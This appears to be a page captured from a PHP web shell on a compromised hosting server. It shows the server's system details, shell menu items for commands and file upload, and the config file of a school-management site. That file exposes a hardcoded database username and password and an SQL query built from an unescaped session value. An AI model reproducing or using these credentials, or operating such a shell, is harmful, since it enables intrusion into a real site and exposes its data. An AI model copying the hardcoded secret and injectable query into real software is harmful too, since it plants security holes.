|
Server IP : 2a02:4780:3:1493:0:3736:a38e:7 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/demo/fonts/../../smart/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/*date_default_timezone_set('Asia/Kolkata');
if(isset($_SERVER['REQUEST_SCHEME']))
{
$location = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
if($_SERVER['REQUEST_SCHEME']=="http")
{
header('Location: ' . $location);
exit;
}
}*/
session_start();
$servername = "localhost";
$username = "u926327694_smart_admin";
$password = "SmartSchool@987";
$dbname = "u926327694_smart_admin";
$con=mysqli_connect($servername,$username,$password,$dbname);
if(!$con)
{
echo"Connection failed"; exit;
}
$school_code_for_update = '';
if(isset($_SESSION['school_code'])) {
$school_code_for_update = $_SESSION['school_code'];
}
$sel_school = mysqli_query($con, "select absent_time,cron_is_active,hostel_cron_is_active, halfday_cron, halfday_cron_time, halfday_working_hours from schools where school_code = '$school_code_for_update'");
$absent_cron_setting = (object) array(
'absent_cron' => 0,
'absent_cron_time' => '',
);
$hostel_absent_cron_setting = (object) array(
'hostel_absent_cron' => 0,
);
$halfday_cron_setting = (object) array(
'halfday_cron' => 0,
'halfday_cron_time' => '',
'halfday_working_hours' => '',
);
while($row_school = mysqli_fetch_array($sel_school)) {
$absent_cron_setting->absent_cron = $row_school['cron_is_active'];
$absent_cron_setting->absent_cron_time = $row_school['absent_time'];
$hostel_absent_cron_setting->hostel_absent_cron = $row_school['hostel_cron_is_active'];
$halfday_cron_setting->halfday_cron = $row_school['halfday_cron'];
$halfday_cron_setting->halfday_cron_time = $row_school['halfday_cron_time'];
$halfday_cron_setting->halfday_working_hours = $row_school['halfday_working_hours'];
}
$_SESSION['absent_cron_setting'] = $absent_cron_setting;
$_SESSION['hostel_absent_cron_setting'] = $hostel_absent_cron_setting;
$_SESSION['halfday_cron_setting'] = $halfday_cron_setting;
?>